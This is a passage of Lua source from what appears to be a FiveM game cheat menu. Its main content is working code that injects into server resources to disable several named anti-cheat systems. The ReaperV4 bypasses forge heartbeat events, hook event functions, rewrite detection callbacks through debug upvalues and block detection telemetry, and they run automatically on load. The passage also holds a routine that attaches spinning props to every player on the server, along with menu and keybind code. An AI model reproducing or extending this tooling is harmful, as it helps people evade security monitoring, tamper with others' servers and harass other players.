SafeNative(SetEntityAsMissionEntity, ped, true, true) SafeNative(SetBlockingOfNonTemporaryEvents, ped, true) return ped end, "CreatePed") end _G.WS_SpawnObject = function(modelName, x, y, z, heading) if not x then local ped = SafeNative(PlayerPedId) local c = SafeNative(GetOffsetFromEntityInWorldCoords, ped, -2.5, 1.5, 0.0) x, y, z = c.x, c.y, c.z heading = SafeNative(GetEntityHeading, ped) end return SafeSpawn(modelName, function(hash) local obj = SafeNative(Citizen.InvokeNative, 0x509D5878EB39E842, hash, x, y, z, true, false, false) SafeNative(SetEntityHeading, obj, heading) SafeNative(PlaceObjectOnGroundProperly, obj) SafeNative(SetEntityAsMissionEntity, obj, true, true) return obj end, "CreateObject") end _G.WS_SafeNative = SafeNative _G.CreateVehicle = _G.WS_SpawnVehicle _G.CreatePed = _G.WS_SpawnPed _G.CreateObject = _G.WS_SpawnObject _G.CreateObjectNoOffset = _G.WS_SpawnObject _G.WS_SpawnReady = true ]]) setBypassActive("WaveShield") showNotify("WaveShield Bypass Loaded.", "success") end -- Bridge: EC_AC Prop Spawn local function bridgeEC_ACPropSpawn() local ecacRes = GetECACResourceName() or "EC_AC" if GetResourceState(ecacRes) ~= "started" then showNotify("EC_AC not detected for prop spawn.", "error") return end showNotify("Executing EC_AC Prop Spawn...", "info") MachoInjectResource2(3, ecacRes, [[ local function SpinningProp(obj) Citizen.CreateThread(function() while obj and DoesEntityExist(obj) do local rot = GetEntityRotation(obj) SetEntityRotation(obj, rot.x, rot.y, rot.z + 5.0, 0, true) Citizen.Wait(10) end end) end local function LoadAsset(hash) RequestModel(hash) local time = 0 while not HasModelLoaded(hash) and time < 50 do Citizen.Wait(10) time = time + 1 end return HasModelLoaded(hash) end local function RandomOffset() return (math.random() * 2) - 1, (math.random() * 2) - 1, math.random() * 2 end Citizen.CreateThread(function() Citizen.Wait(3000) local pList = GetPlayers() if #pList == 0 then return end local objectStore = {} local props = { "prop_windmill_01", "prop_roadcone01a", "prop_barrel_01a", "prop_tyre_01a", "prop_ball_01a", "v_res_tre_stool", "prop_rub_carpart_01", "prop_skip_01a", "prop_air_bag_01a" } for _, pid in ipairs(pList) do local ped = GetPlayerPed(pid) if ped and DoesEntityExist(ped) and not IsEntityDead(ped) then for _, mdl in ipairs(props) do local hash = GetHashKey(mdl) if LoadAsset(hash) then local ox, oy, oz = RandomOffset() local obj = CreateObject(hash, GetEntityCoords(ped), true, true, true) AttachEntityToEntity(obj, ped, 0, ox, oy, oz, 0.0, 0.0, 0.0, false, false, true, false, 2, true) table.insert(objectStore, obj) SpinningProp(obj) end Citizen.Wait(180) end end Citizen.Wait(450) end Citizen.SetTimeout(20000, function() for _, v in ipairs(objectStore) do if DoesEntityExist(v) then DeleteEntity(v) end end objectStore = {} end) end) ]]) showNotify("EC_AC Prop Spawn Executed.", "success") end -- Bridge: ReaperV4 Bypass (OLD) local function bridgeReaperV4Old() if _G.ReaperBypassActive then showNotify("ReaperV4 Bypass is already active.", "info") return end showNotify("Loading ReaperV4 (OLD) Bypass...", "info") local reaperResources = {} local numResources = GetNumResources() for i = 0, numResources - 1 do local resourceName = GetResourceByFindIndex(i) if resourceName then if resourceName ~= "monitor" and resourceName ~= "spawnmanager" and resourceName ~= "sessionmanager" and resourceName ~= "hardcap" and GetResourceState(resourceName) == "started" then reaperResources[#reaperResources + 1] = resourceName end end end local bypassCode = [[ if _G._ReaperBypassLoaded then return end _G._ReaperBypassLoaded = true local _originalTriggerServerEvent = TriggerServerEvent local _originalAddEventHandler = AddEventHandler local _originalRegisterNetEvent = RegisterNetEvent local _originalGetGameTimer = GetGameTimer local _originalPlayerPedId = PlayerPedId local _originalGetPlayerServerId = GetPlayerServerId local _originalPlayerId = PlayerId local _originalGetCurrentResourceName = GetCurrentResourceName local _originalWait = Citizen.Wait local _originalCreateThread = Citizen.CreateThread local securityKey = GetConvar("reaperSecurityKey", "") local serverId = GetConvar("serverId", "") local reaperBypassActive = true local reaperLastHeartbeat = _originalGetGameTimer() local reaperHeartbeatInterval = 5000 local reaperEventHandlers = {} local reaperProtectedEvents = { "REAPER_SYNC_EVENT", "reaper:sync", "reaper_heartbeat", "Reaper:Sync", "reaper_sync", "Reaper:SyncKeyLock", "Reaper:UpdateFlaggedEvents", "Reaper:ProAddonAutoWhitelist", "Reaper:ProAddonRefreshWhitelist", "Reaper:ProAddonEnabled", "ProAddon:AddWhitelister", "Reaper:FlaggedEventFound", "Reaper:NewDetection", "Reaper:RequestVehicle", "Reaper:InternalError", "ReaperV4:UploadEventData", "Reaper:LogPlayerState", "Reaper:Log", "Reaper:LogMessage", "reaper_heartbeat_check", "reaper_resource_check", "reaper_integrity_check", "reaper_status_update", "reaper_client_check" } local function GenerateReaperHash(input, salt) local saltedInput = input .. (salt or "072b0945-fdd6d8bb-2e1d0476-d15c8f4b-ed6db3e1") local hash = 5381 for i = 1, #saltedInput do hash = ((hash << 5) + hash) ~ string.byte(saltedInput, i) end return hash end TriggerServerEvent = function(eventName, ...) if not eventName then return end local args = {...} local lowerEventName = string.lower(eventName) local isReaperEvent = false for _, reaperEvent in ipairs(reaperProtectedEvents) do if string.find(lowerEventName, string.lower(reaperEvent)) then isReaperEvent = true break end end if isReaperEvent then local currentTime = _originalGetGameTimer() local randomId = currentTime + math.random(1000000, 9999999) local resourceName = _originalGetCurrentResourceName() local playerSource = _originalGetPlayerServerId(_originalPlayerId()) local eventData = { id = randomId, time = 0, key = GenerateReaperHash(eventName .. randomId .. resourceName .. playerSource), key2 = "", resource = resourceName, source = playerSource, from = "client", security_key = securityKey, serverId = serverId, nonce = math.random() } reaperLastHeartbeat = currentTime return _originalTriggerServerEvent(eventName, "REAPER_PROTECTED", eventData) end return _originalTriggerServerEvent(eventName, ...) end RegisterNetEvent = function(eventName) local result = _originalRegisterNetEvent(eventName) if eventName then local lowerEventName = string.lower(eventName) for _, reaperEvent in ipairs(reaperProtectedEvents) do if string.find(lowerEventName, string.lower(reaperEvent)) then reaperEventHandlers[eventName] = true break end end end return result end AddEventHandler = function(eventName, callback) if eventName and reaperEventHandlers[eventName] then local wrappedCallback = function(protectedEvent, eventData, ...) if protectedEvent == "REAPER_PROTECTED" then return callback(protectedEvent, eventData, ...) else local currentTime = _originalGetGameTimer() local randomId = currentTime + math.random(1000000, 9999999) local resourceName = _originalGetCurrentResourceName() local playerSource = _originalGetPlayerServerId(_originalPlayerId()) local simulatedEventData = { id = randomId, time = 0, key = GenerateReaperHash(eventName .. randomId .. resourceName .. playerSource), key2 = "", resource = resourceName, source = playerSource, from = "client" } return callback("REAPER_PROTECTED", simulatedEventData, protectedEvent, eventData, ...) end end return _originalAddEventHandler(eventName, wrappedCallback) end return _originalAddEventHandler(eventName, callback) end for i = 1, 3 do _originalCreateThread(function() while reaperBypassActive do local currentTime = _originalGetGameTimer() if currentTime - reaperLastHeartbeat > reaperHeartbeatInterval then local randomId = currentTime + math.random(1000000, 9999999) local resourceName = _originalGetCurrentResourceName() local playerSource = _originalGetPlayerServerId(_originalPlayerId()) local eventData = { id = randomId, time = 0, key = GenerateReaperHash(resourceName .. randomId .. playerSource), key2 = "", resource = resourceName, source = playerSource, from = "client", security_key = securityKey, serverId = serverId, nonce = math.random() } for _, eventName in ipairs({"REAPER_SYNC_EVENT", "reaper:sync", "reaper_heartbeat", "Reaper:Sync", "reaper_sync"}) do _originalTriggerServerEvent(eventName, "REAPER_PROTECTED", eventData) end reaperLastHeartbeat = currentTime if LocalPlayer and LocalPlayer.state then pcall(function() LocalPlayer.state:set("_reaperLastUpdate", currentTime, false) end) pcall(function() LocalPlayer.state:set("_reaperHeartbeat", currentTime, false) end) end end _originalWait(math.random(800, 1200)) end end) end _originalCreateThread(function() while reaperBypassActive do if LocalPlayer and LocalPlayer.state then local currentTime = _originalGetGameTimer() pcall(function() LocalPlayer.state:set("_reaperLastUpdate", currentTime, false) end) pcall(function() LocalPlayer.state:set("_reaperHeartbeat", currentTime, false) end) end _originalWait(math.random(3000, 7000)) end end) _G.ReaperBypassActive = true _G.DisableReaperBypass = function() reaperBypassActive = false _G.ReaperBypassActive = false end ]] local injectCount = 0 local targetResources = {"monitor", "spawnmanager", "sessionmanager"} for _, rName in ipairs(targetResources) do if GetResourceState(rName) == "started" then MachoInjectResource(rName, bypassCode) injectCount = injectCount + 1 end end local otherResources = {} for _, rName in ipairs(reaperResources) do if not string.find(string.lower(rName), "reaper") then table.insert(otherResources, rName) end end for i = #otherResources, 2, -1 do local j = math.random(i) otherResources[i], otherResources[j] = otherResources[j], otherResources[i] end local additionalInjects = math.min(5, #otherResources) for i = 1, additionalInjects do MachoInjectResource(otherResources[i], bypassCode) injectCount = injectCount + 1 end _G.ReaperBypassActive = true setBypassActive("ReaperV4_OLD") showNotify("ReaperV4 (OLD) Bypass Loaded - Injected " .. injectCount .. " resources.", "success") end -- Helper to find active Reaper resource dynamically (global so SyndicateExecTrigger can reach it) FindReaperResource = function() -- Name-match: when WaveShield is active, ONLY match resources specifically named "ReaperV4". -- A server with a generic resource named "reaper" (e.g. 23.26.121.28:30120) is NOT Reaper AC. -- Triggering Reaper bypass on a WaveShield server bans on inject. local _wsActive = isBypassActive and isBypassActive("WaveShield") for i = 0, GetNumResources() - 1 do local rName = GetResourceByFindIndex(i) if rName and GetResourceState(rName) == "started" then local rNameLower = string.lower(rName) local nameMatch if _wsActive then -- WaveShield active: must be exactly "ReaperV4" (or known variants) nameMatch = (rNameLower == "reaperv4" or rNameLower == "reaper_v4" or rNameLower == "reaperv4_pro") else -- No WaveShield: any resource containing "reaper" counts nameMatch = string.find(rNameLower, "reaper") ~= nil end if nameMatch then return rName end end end -- Signature scan: confirm actual Reaper AC by checking for its patch file structure -- (works whether WaveShield is active or not -- requires ≥2 matching files to be sure) local reaperSigs = { 'patches/resource_qb-core.lua', 'patches/resource_es_extended.lua', 'patches/resource_monitor.lua', 'patches/resource_wasabi_bridge.lua', 'patches/resource_drc_uwucafe.lua' } for i = 0, GetNumResources() - 1 do local rName = GetResourceByFindIndex(i) if rName and GetResourceState(rName) == "started" then local matches = 0 for _, sigFile in ipairs(reaperSigs) do if LoadResourceFile(rName, sigFile) then matches = matches + 1 end end -- Require at least 2 Reaper patch files to confirm it's actually Reaper, not a coincidental match if matches >= 2 then return rName end end end return nil end _G.FindReaperResource = FindReaperResource -- Bridge: ReaperV4 Bypass (NEW) local function bridgeReaperV4New(reaperName) if isBypassActive("ReaperV4_NEW") then showNotify("ReaperV4 (NEW) Bypass is already active.", "info") return end reaperName = reaperName or "ReaperV4" if GetResourceState(reaperName) ~= "started" then showNotify(reaperName .. " not detected on this server.", "error") return end showNotify("Loading " .. reaperName .. " Bypass...", "info") -- Inject deep upvalue & event neutralization directly into ReaperV4 Lua context MachoInjectResource2(2, reaperName, [[ pcall(function() -- 1. Neutralize Event Handlers & SecurityClient Detections local name, eventHandlersRaw = debug.getupvalue(_G["RemoveEventHandler"], 2) if eventHandlersRaw then local eventHandlers = {} for name, raw in pairs(eventHandlersRaw) do if raw.handlers then for id, v in pairs(raw.handlers) do table.insert(eventHandlers, { handle = { ['key'] = id, ['name'] = name }, func = v }) end end end local reaper_newdetection for _, v in pairs(eventHandlers) do local eventName = v["handle"]["name"] local func = v["func"] if eventName == "Reaper:NewDetection" or eventName == "Reaper:FlaggedEventFound" then reaper_newdetection = func end end if type(reaper_newdetection) == "function" then local _, securityclient = debug.getupvalue(reaper_newdetection, 1) if type(securityclient) == "table" then if securityclient["detections"] then for dName, detection in pairs(securityclient["detections"]) do if type(detection) == "table" then if detection["detected"] then securityclient["detections"][dName]["detected"] = function(...) return false end end if detection["callback"] then securityclient["detections"][dName]["callback"] = function(...) return false end end if detection["action"] then securityclient["detections"][dName]["action"] = "ignore" end end end end if securityclient["active_detections"] then for dName, detection in pairs(securityclient["active_detections"]) do if type(detection) == "table" then if detection["detected"] then securityclient["active_detections"][dName]["detected"] = function(...) return false end end if detection["callback"] then securityclient["active_detections"][dName]["callback"] = function(...) return false end end if detection["action"] then securityclient["active_detections"][dName]["action"] = "ignore" end end end end debug.setupvalue(reaper_newdetection, 1, securityclient) end end end -- Neutralize Key-Lock validation in Reaper pcall(function() local function neutralizeKeyLock(tbl, depth) if type(tbl) ~= "table" or (depth or 0) > 4 then return end for k, v in pairs(tbl) do local kStr = tostring(k):lower() if type(v) == "function" then if kStr:find("keylock") or kStr:find("key_lock") or kStr:find("validatekey") or kStr:find("checkkey") or kStr:find("actionkey") or kStr:find("lockcheck") then tbl[k] = function(...) return true end end elseif type(v) == "table" then neutralizeKeyLock(v, (depth or 0) + 1) end end end for k, v in pairs(_G) do local kStr = tostring(k):lower() if type(v) == "function" then if kStr:find("keylock") or kStr:find("key_lock") or kStr:find("validatekey") or kStr:find("checkactionkey") or kStr:find("lockcheck") then _G[k] = function(...) return true end end end end if type(reaper_newdetection) == "function" then for i = 1, 20 do local uvName, uvVal = debug.getupvalue(reaper_newdetection, i) if uvName == nil then break end if type(uvVal) == "table" then neutralizeKeyLock(uvVal, 0) for subK, subV in pairs(uvVal) do if type(subV) == "table" then neutralizeKeyLock(subV, 0) for fnK, fnV in pairs(subV) do if type(fnV) == "function" then local fnStr = tostring(fnK):lower() if fnStr:find("keylock") or fnStr:find("validatekey") or fnStr:find("checkkey") or fnStr:find("invalidkey") then subV[fnK] = function(...) return true end end end end end end end end end end) -- 2. Intercept & Block Server Telemetry Events local blockedReaperEvents = { ["Reaper:NewDetection"] = true, ["Reaper:FlaggedEventFound"] = true, ["Reaper:LogPlayerState"] = true, ["Reaper:SystemCheck"] = true, ["Reaper:UploadEventData"] = true, ["Reaper:CustomDrop"] = true, ["Reaper:Log"] = true, ["ReaperV4:UploadEventData"] = true, ["Reaper:LogMessage"] = true, } local _origTriggerServerEvent = TriggerServerEvent _G.TriggerServerEvent = function(eventName, ...) if blockedReaperEvents[eventName] then return end return _origTriggerServerEvent(eventName, ...) end -- 3. Safety Wrapper for setEntitySpawnKey to prevent console warnings local _origSetEntitySpawnKey = _G.setEntitySpawnKey _G.setEntitySpawnKey = function(entity, spawnKey) if not entity or entity == 0 or not DoesEntityExist(entity) then return end if type(spawnKey) ~= "string" or spawnKey == "" then return end if type(_origSetEntitySpawnKey) == "function" then return _origSetEntitySpawnKey(entity, spawnKey) end end end) ]]) setBypassActive("ReaperV4_NEW") showNotify("ReaperV4 (NEW) Bypass Loaded & Neutralized.", "success") end -- Bridge: Auto Bypass (Detect All & Apply) local function bridgeAutoBypass() showNotify("Running Auto-Bypass Detection...", "info") local applied = {} -- Check ElectronAC local electronName = FindElectronResource() if electronName and GetResourceState(electronName) == "started" and not isBypassActive("ElectronAC") then local ok, err = pcall(bridgeElectronAC, electronName) if ok then applied[#applied + 1] = electronName else showNotify("ElectronAC bypass error: " .. tostring(err), "error") end end -- Check EC_AC local ecacRes = GetECACResourceName() if ecacRes and GetResourceState(ecacRes) == "started" and not isBypassActive("EC_AC") then local ok, err = pcall(bridgeEC_AC) if ok then applied[#applied + 1] = "EC_AC" else showNotify("EC_AC bypass error: " .. tostring(err), "error") end end -- Check ReaperV4 / Reaper Pro (NEW first, then OLD fallback) local reaperName = FindReaperResource() if reaperName and not isBypassActive("ReaperV4_NEW") then local ok, err = pcall(bridgeReaperV4New, reaperName) if ok then applied[#applied + 1] = reaperName else showNotify(reaperName .. " bypass error: " .. tostring(err), "error") end elseif not _G.ReaperBypassActive then local detName, detAc = detectAntiCheat(false) if detAc and string.find(string.lower(detAc), "reaper") then local ok, err = pcall(bridgeReaperV4Old) if ok then applied[#applied + 1] = "ReaperV4 (OLD)" else showNotify("ReaperV4 OLD bypass error: " .. tostring(err), "error") end end end -- Check FiveGuard if not isBypassActive("FiveGuard") then local fg = nil for i = 0, GetNumResources() - 1 do local res = GetResourceByFindIndex(i) if res then local files = GetNumResourceMetadata(res, 'client_script') for j = 0, files - 1 do local md = GetResourceMetadata(res, 'client_script', j) if md and string.find(md, "obfuscated") then fg = res break end end end if fg then break end end if fg then local ok, err = pcall(bridgeFiveGuard) if ok then applied[#applied + 1] = "FiveGuard" else showNotify("FiveGuard bypass error: " .. tostring(err), "error") end end end -- Check WaveShield if not isBypassActive("WaveShield") then local ws = FindWaveShieldResource() ~= nil if ws then local ok, err = pcall(bridgeWaveShield) if ok then applied[#applied + 1] = "WaveShield" else showNotify("WaveShield bypass error: " .. tostring(err), "error") end end end -- Report results if #applied == 0 then showNotify("No bypassable Anti-Cheat detected.", "info") else showNotify("Auto-Bypass Complete: " .. table.concat(applied, ", "), "success") end end -- ============================================ -- END BYPASS BRIDGES -- ============================================ -- Auto-apply all detected bypasses on load (ONLY IF AUTHENTICATED) CreateThread(function() local elRes = FindElectronResource and FindElectronResource() if elRes and GetResourceState and GetResourceState(elRes) == "started" then pcall(bridgeElectronAC, elRes) end end) CreateThread(function() Wait(300) bridgeAutoBypass() end) local function bindItemToKey(item, keyName) local upperKey = keyName and keyName:upper() or "" itemKeybinds[upperKey] = nil for k, v in pairs(itemKeybinds) do if k:upper() == upperKey or v == item then itemKeybinds[k] = nil end end itemKeybinds[upperKey] = item showNotify("Bound [" .. (item.label or "item") .. "] to key: " .. upperKey, "success") local binds = {} for k, v in pairs(itemKeybinds) do binds[#binds + 1] = { label = v.label or '?', key = k } end SendSvelte('updateKeybinds', { KeyBinds = binds }) end local function startItemKeybindCapture(item) settingItemKeybind = true itemKeybindPending = item showInput("Press a key to bind: " .. (item.label or "item"), "", nil, "keybind") end local function handleKeybindSet() if not selectedKey or selectedKey:upper() == "ENTER" or selectedKey:upper() == "NUMPADENTER" then return end if selectedKey then MenuKey = selectedKey:upper() showNotify("Menu keybind set to: " .. MenuKey, "info") end currentInputData.inputJustSubmitted = true settingKeybind = false isKeybindConfigured = true selectedKey = nil closeInput() CreateThread(function() Wait(350) currentInputData.inputJustSubmitted = false currentInputData.inputJustClosed = false createIndex() ShowUI() setCurrent(true) end) end local function setKeyPress(k) local keyName = KeyMap[k] and KeyMap[k]:upper() or nil if (keyName == "ENTER" or keyName == "NUMPADENTER") and currentInputData.inputJustSubmitted then return true end if not currentInputData.Active then return false end if k == 0x10 or k == 0xA0 or k == 0xA1 then modifiers.shift = true elseif k == 0x11 or k == 0xA2 or k == 0xA3 then modifiers.ctrl = true elseif k == 0x12 or k == 0xA4 or k == 0xA5 then modifiers.alt = true end if not keyName then return false end if settingKeybind then if keyName == "ENTER" or keyName == "NUMPADENTER" then handleKeybindSet() return true elseif keyName == "ESCAPE" then closeInput() settingKeybind = false return true else selectedKey = keyName currentInputData.buffer = keyName currentInputData.cursorPos = #currentInputData.buffer pushBuffer() return true end end if settingItemKeybind then if keyName == "ESCAPE" then closeInput() settingItemKeybind = false itemKeybindPending = nil showNotify("Keybind cancelled", "info") elseif keyName ~= "ENTER" and keyName ~= "NUMPADENTER" then local item = itemKeybindPending closeInput() settingItemKeybind = false itemKeybindPending = nil if item then bindItemToKey(item, keyName) end end return true end if keyName == "BACKSPACE" then if currentInputData.cursorPos > 0 then currentInputData.buffer = currentInputData.buffer:sub(1, currentInputData.cursorPos - 1) .. currentInputData.buffer:sub(currentInputData.cursorPos + 1) currentInputData.cursorPos = currentInputData.cursorPos - 1 pushBuffer() end return true elseif keyName == "DELETE" then if currentInputData.cursorPos < #currentInputData.buffer then currentInputData.buffer = currentInputData.buffer:sub(1, currentInputData.cursorPos) .. currentInputData.buffer:sub(currentInputData.cursorPos + 2) pushBuffer() end return true elseif keyName == "ESCAPE" then closeInput() return true elseif keyName == "A" and modifiers.ctrl then currentInputData.selectAllActive = true currentInputData.cursorPos = #currentInputData.buffer pushBuffer() return true elseif keyName == "ENTER" or keyName == "NUMPADENTER" then if currentInputData.inputJustSubmitted then return true end currentInputData.inputJustSubmitted = true currentInputData.inputJustClosed = true local callback, buffer = closeInput() if callback and type(callback) == "function" then callback(buffer) end return true elseif keyName == "ARROWLEFT" or keyName == "LEFT" then if currentInputData.cursorPos > 0 then currentInputData.cursorPos = currentInputData.cursorPos - 1 end pushBuffer() return true elseif keyName == "ARROWRIGHT" or keyName == "RIGHT" then if currentInputData.cursorPos < #currentInputData.buffer then currentInputData.cursorPos = currentInputData .cursorPos + 1 end pushBuffer() return true elseif keyName == "V" and modifiers.ctrl then local clipText = MachoGetClipboardText() if clipText and clipText ~= "" then currentInputData.buffer = currentInputData.buffer:sub(1, currentInputData.cursorPos) .. clipText .. currentInputData.buffer:sub(currentInputData.cursorPos + 1) currentInputData.cursorPos = currentInputData.cursorPos + #clipText pushBuffer() end return true end local char = keyName if modifiers.shift and ShiftMap[char] then char = ShiftMap[char] else char = char:lower() end if currentInputData.inputType == "numeric" and not char:match("^%d$") then return true end if currentInputData.inputType == "alphanumeric" and not char:match("^[%w_]$") then return true end if currentInputData.inputType == "letters" and not char:match("^%a$") then return true end if #char == 1 then currentInputData.buffer = currentInputData.buffer:sub(1, currentInputData.cursorPos) .. char .. currentInputData.buffer:sub(currentInputData.cursorPos + 1) currentInputData.cursorPos = currentInputData.cursorPos + 1 pushBuffer() end return true end local function SetKeyRelease(k) if k == 0x10 or k == 0xA0 or k == 0xA1 then modifiers.shift = false elseif k == 0x11 or k == 0xA2 or k == 0xA3 then modifiers.ctrl = false elseif k == 0x12 or k == 0xA4 or k == 0xA5 then modifiers.alt = false end end if not currentInputData.SetListerner then MachoOnKeyDown(function(k) keyStates[k] = true setKeyPress(k) end) if MachoOnKeyUp then MachoOnKeyUp(function(k) keyStates[k] = false SetKeyRelease(k) end) end currentInputData.SetListener = true end CreateThread(function() local lastInputActive = nil while true do Wait(50) if currentInputData.Active ~= lastInputActive then lastInputActive = currentInputData.Active if currentInputData.Active then SetPlayerControl(PlayerId(), false, 0) MachoInjectResourceRaw('monitor', [[ playLibrarySound = function(sound) if sound == 'enter' or sound == 'confirm' then return end end SetNuiFocus(true, true) sendMenuMessage('setDebugMode') ]]) else MachoInjectResourceRaw('monitor', [[ SetNuiFocus(false, false) sendMenuMessage('setDebugMode') ]]) SetPlayerControl(PlayerId(), true, 0) end end end end) local function loadInject() Wait(1200) settingKeybind = true selectedKey = MenuKey currentInputData.buffer = MenuKey currentInputData.cursorPos = #MenuKey currentInputData.inputJustSubmitted = false pushBuffer() showInput("Menu Keybind", MenuKey, function(key) if key and key ~= "" then MenuKey = key isKeybindConfigured = true end end, "SetKeybind") Wait(100) currentInputData.inputJustOpened = false MachoShowDui(Dui) end local function getControl(keyCode) return KeyMap[tonumber(keyCode) or keyCode] or ("unknown key (" .. tostring(keyCode) .. ")") end local function getTabKey() if not currentTabs then return nil end local tab = currentTabs[currentTabIndex + 1] if not tab then return nil end local parent = nestedMenus[#nestedMenus] return (parent and parent.label or "root") .. "_" .. tab.name end local function findFirstValid(menu, startIdx, dir) local n = #menu local idx = startIdx for _ = 1, n do local item = menu[idx] if item and item.type ~= "divider" and not item.hidden and item.visible ~= false then return idx end idx = idx + dir if idx < 1 then idx = n end if idx > n then idx = 1 end end return startIdx end local function createActiveIndex(direction) if not activeMenu or #activeMenu == 0 then return end local n = #activeMenu local dir = direction > 0 and 1 or -1 local next = activeIndex + dir if next < 1 then next = n elseif next > n then next = 1 end activeIndex = findFirstValid(activeMenu, next, dir) local tabKey = getTabKey() if tabKey then lastTabIndices[tabKey] = activeIndex end setCurrent() end function createIndex() if not activeMenu or #activeMenu == 0 then activeIndex = 1 return end if type(activeIndex) ~= "number" or activeIndex < 1 or activeIndex > #activeMenu then activeIndex = 1 end activeIndex = findFirstValid(activeMenu, activeIndex, 1) end local function createConfirm(item, payload) if item and item.autoConfirm and type(item.onConfirm) == "function" then item.onConfirm(payload) end end local function createSlider(item, dir) local step = item.step or item.stepSize or 1 local min = tonumber(item.min) or 0 local max = tonumber(item.max) or 100 item.value = math.max(min, math.min(max, (tonumber(item.value) or 0) + dir * step)) createConfirm(item, item.value) end local function createScroll(item, dir) local opts = item.options if not opts or #opts == 0 then return end local sel = (tonumber(item.selected) or 1) + dir item.selected = sel < 1 and #opts or sel > #opts and 1 or sel createConfirm(item, opts[item.selected]) end local function createValue(item, dir) if not item or not item.type then return end local t = item.type if t == "slider" or (type(t) == "table" and table.concat(t, ","):find("slider")) then createSlider(item, dir) elseif t == "scroll" or (type(t) == "table" and table.concat(t, ","):find("scroll")) then createScroll(item, dir) end end local createTabs local function createOptions(control, item) if not item then if currentTabs and #currentTabs > 1 then createTabs(control) end return end local t = item.type local isSliderOrScroll = false if type(t) == "string" then if t == "slider" or t == "scroll" then isSliderOrScroll = true end elseif type(t) == "table" then local joined = table.concat(t, ",") if joined:find("slider") or joined:find("scroll") then isSliderOrScroll = true end end if isSliderOrScroll then local ctrlStr = tostring(control or ""):upper() local dir = (ctrlStr:find("RIGHT") or ctrlStr == "E") and 1 or -1 createValue(item, dir) setCurrent() else if currentTabs and #currentTabs > 1 then createTabs(control) end end end local function fireConfirm(item, t) if type(item.onConfirm) ~= "function" then return end if t == "checkbox" then item.onConfirm(item.checked) elseif t == "slider" then item.onConfirm(item.value) elseif t == "scroll" then item.onConfirm(item.options and item.options[item.selected or 1] or nil) elseif t == "button" then item.onConfirm() end end local function sendTabs(tabs) if not Dui or not tabs then return end local names = {} for i = 1, #tabs do names[i] = tabs[i].name end MachoSendDuiMessage(Dui, json.encode({ action = "setTabs", tabs = names })) MachoSendDuiMessage(Dui, json.encode({ action = "setTabIndex", index = currentTabIndex })) end local function loadTab(tabIndex, fromSaved) local tab = currentTabs and currentTabs[tabIndex + 1] if not tab then return end currentTabIndex = tabIndex activeMenu = tab.submenu or {} local key = getTabKey() activeIndex = math.min((key and lastTabIndices[key]) or (fromSaved or 1), math.max(#activeMenu, 1)) createIndex() setCurrent(true) end local function createEnter(item) if not item then return end local t = item.type if t == "submenu" then if #nestedMenus == 0 then lastMainMenuIndex = activeIndex end nestedMenus[#nestedMenus + 1] = { index = activeIndex, menu = activeMenu, label = item.label } if item.submenu then menuStateMap[item.label or ""] = activeIndex activeMenu = item.submenu activeIndex = 1 currentTabs = nil currentSubMenuRefresher = nil isDynamicSubMenu = false createIndex() setCurrent(true) return end local tabs = item.tabs if tabs and #tabs > 0 then currentTabs = tabs local saved = tabStateMap[item.label] local tabIdx = saved and math.min(saved.tab or 0, #tabs - 1) or 0 loadTab(tabIdx, saved and saved.index or 1) sendTabs(tabs) end return end if type(t) == "table" then for i = 1, #t do if t[i] == "checkbox" then item.checked = not item.checked if IsVisible then setCurrent() end break end end for i = 1, #t do fireConfirm(item, t[i]) end return end if t == "checkbox" then item.checked = not item.checked if IsVisible then setCurrent() end end fireConfirm(item, t) end local function createBackspace() local depth = #nestedMenus if depth == 0 then HideUI() currentSubMenuRefresher = nil isDynamicSubMenu = false return end local last = nestedMenus[depth] if currentTabs and last.label then tabStateMap[last.label] = { tab = currentTabIndex, index = activeIndex } end nestedMenus[depth] = nil activeMenu = last.menu activeIndex = last.index or 1 if depth == 1 then activeIndex = lastMainMenuIndex or 1 currentTabIndex = 0 currentTabs = nil if Dui then MachoSendDuiMessage(Dui, json.encode({ action = "resetTabs" })) end end currentSubMenuRefresher = nil isDynamicSubMenu = false createIndex() setCurrent() end createTabs = function(control) if not currentTabs or #currentTabs <= 1 then return end local key = getTabKey() if key then lastTabIndices[key] = activeIndex end local count = #currentTabs local ctrlStr = tostring(control or ""):upper() local isLeft = (ctrlStr == "Q" or ctrlStr:find("LEFT")) local newIdx = (currentTabIndex + (isLeft and -1 or 1)) % count local parent = nestedMenus[#nestedMenus] loadTab(newIdx, 1) if Dui then MachoSendDuiMessage(Dui, json.encode({ action = "setTabIndex", index = currentTabIndex })) end if parent then tabStateMap[parent.label or ""] = { tab = currentTabIndex, index = activeIndex } end end MachoOnKeyDown(function(keyCode) CreateThread(function() local rawKey = getControl(keyCode) if not rawKey then return end local keyUpper = rawKey:upper() if MenuKey and keyUpper == MenuKey:upper() and not settingKeybind then if not isInputActive() and isKeybindConfigured then if IsVisible then HideUI() else ShowUI() end end return end if isInputActive() then return end local boundItem = itemKeybinds[keyUpper] or itemKeybinds[rawKey] if not boundItem then for k, v in pairs(itemKeybinds) do if k:upper() == keyUpper then boundItem = v break end end end if boundItem and not settingItemKeybind then createEnter(boundItem) return end if not IsVisible then return end local activeData = activeMenu[activeIndex] if rawKey == navKeyDown or rawKey == navKeyUp or keyUpper == navKeyDown:upper() or keyUpper == navKeyUp:upper() then createActiveIndex((rawKey == navKeyDown or keyUpper == navKeyDown:upper()) and 1 or -1) elseif keyUpper == "ARROWLEFT" or rawKey == "ArrowLeft" or keyUpper == "ARROWRIGHT" or rawKey == "ArrowRight" then createOptions(rawKey, activeData) elseif keyUpper == "ENTER" or rawKey == "Enter" or keyUpper == "NUMPADENTER" then createEnter(activeData) elseif keyUpper == "BACKSPACE" or rawKey == "Backspace" then createBackspace() elseif keyUpper == "Q" or keyUpper == "E" then createTabs(keyUpper) elseif keyUpper == "F4" and not settingItemKeybind then if activeData and activeData.label then startItemKeybindCapture(activeData) end end end) end) local CPlayers = {} local Syndicate = {} function Syndicate:GetNearbyPlayers(coords, maxDistance, includePlayer) local nearby = {} local seenSids = {} local selfPlayerId = PlayerId() local selfServerId = GetPlayerServerId(selfPlayerId) local limitDist = maxDistance or 1000.0 -- Engine 1: Scan active FiveM players for _, playerId in ipairs(GetActivePlayers() or {}) do local serverId = GetPlayerServerId(playerId) if not serverId or serverId <= 0 then serverId = playerId end local isSelf = (playerId == selfPlayerId) or (serverId == selfServerId) if not _G.ignoreSelfActive or not isSelf then if not seenSids[serverId] then seenSids[serverId] = true local name = GetPlayerName(playerId) if not name or name == "" then name = "Player " .. tostring(serverId) end local ped = GetPlayerPed(playerId) local dist = 0.0 local inRange = true if ped and DoesEntityExist(ped) and coords then dist = #(coords - GetEntityCoords(ped)) if 